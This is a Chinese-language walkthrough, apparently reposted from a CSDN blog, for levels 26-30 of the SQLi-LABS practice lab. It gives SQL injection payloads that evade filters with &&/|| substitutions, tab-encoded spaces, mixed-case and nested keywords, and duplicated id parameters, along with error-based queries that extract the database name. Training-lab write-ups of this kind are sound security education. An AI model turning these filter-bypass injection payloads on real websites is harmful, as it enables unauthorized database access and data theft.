欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 教育 > 幼教 > SQLi-LABS通关攻略【26-30关】

SQLi-LABS通关攻略【26-30关】

2024/10/24 9:27:05 来源:https://blog.csdn.net/qq_65852138/article/details/141527701  浏览:    关键词:SQLi-LABS通关攻略【26-30关】

SQLi-LABS 26关

1.26关在进行常规测试时,发现有些字符过滤了,查看源码 发现确实如此

这些字符全被过滤了,包括and、or还有空格

所以我我们这里进行相应的替换

and:&&

or:||

2.再次进行闭合测试

?id=1' || '1'='1   回显正常

所以是'闭合

 

3.我们使用报错注入

当然,这里的报错语句中的字符也要进行相应的替换

使用语句:
?id=1' || updatexml(1,concat(1,database()),1) || '1'='1

SQLi-LABS 27关

1. 27关过滤了select和union,还有空格,所以我们使用相应的字符进行替代

使用大小写替换个别字母进行绕过

使用%09替换空格

查找回显点

发现只有一个1回显点,但是进行数据库名查询时,查不出来,因为过滤空格,所以不能将前面的id=1改为-1,因为,‘‘-’’会被过滤,所以只能改成一个不存在的数,还要是正的,这里改为999

?id=1'%09uNion%09seLect%091,2,3%09and%09'1'='1      //回显只有一个,且不能进行查询

?id=999'%09uNion%09seLect%091,2,3%09and%09'1'='1  //得到两个回显点,2处可以进行查询

 

2.使用联合查询进行数据库名查询

?id=999'%09uNion%09seLect%091,database(),3%09and%09'1'='1

SQLi-LABS 28关

1. 28关也是过滤,通过查看源代码得到其过滤的时union select整个语句,所以我们就不能正常使用联合查询语句,我们这里选择使用嵌套关键词方法,就是在union select中嵌套一个union select

具体写法就是:

ununion selection select  //将union里面嵌套一个union select,这样过滤之后就还是union select

2.现在进行闭合判断

?id=1' and '1'='1       //回显成功

?id=1') and '1'='1     //尝试是否有),回显错误

?id=1') and ('1'='1    //回显正常,说明有)

所以时')闭合方式

 

3.进行联合查询

?id=999')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

 

SQLi-LABS 29关

1.29关它说有防火墙,查看源代码(login.php)发现是需要两个参数,代码在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。

2.闭合方式测试

?id=1&id=2' and '1'='1       //回显成功

?id=1&id=2') and '1'='1     //尝试是否有),回显错误

?id=1&id=2') and ('1'='1    //回显错误,说明没有)

所以时 ' 闭合方式

 

 

3.使用联合查询进行数据库名查询

?id=1&id=-2' union select 1,database(),3 and '1'='1

SQLi-LABS 30关

1.30关和29关一样,只是闭合方式变为了双引号

?id=-1" union select 1,database(),3--+

可以和29关使用一样的方式,也可以使用最常规的联合查询,同样别的,29关也适用此方式

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com